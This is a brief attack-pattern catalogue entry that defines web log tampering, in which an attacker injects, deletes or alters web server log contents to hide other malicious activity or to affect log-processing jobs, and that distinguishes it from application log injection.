Web Logs Tampering attacks involve an attacker injecting, deleting or otherwise tampering with the contents of web logs typically for the purposes of masking other malicious behavior. Additionally, writing malicious data to log files may target jobs, filters, reports, and other agents that process the logs in an asynchronous attack pattern. This pattern of attack is similar to "Log Injection-Tampering-Forging" except that in this case, the attack is targeting the logs of the web server and not the application.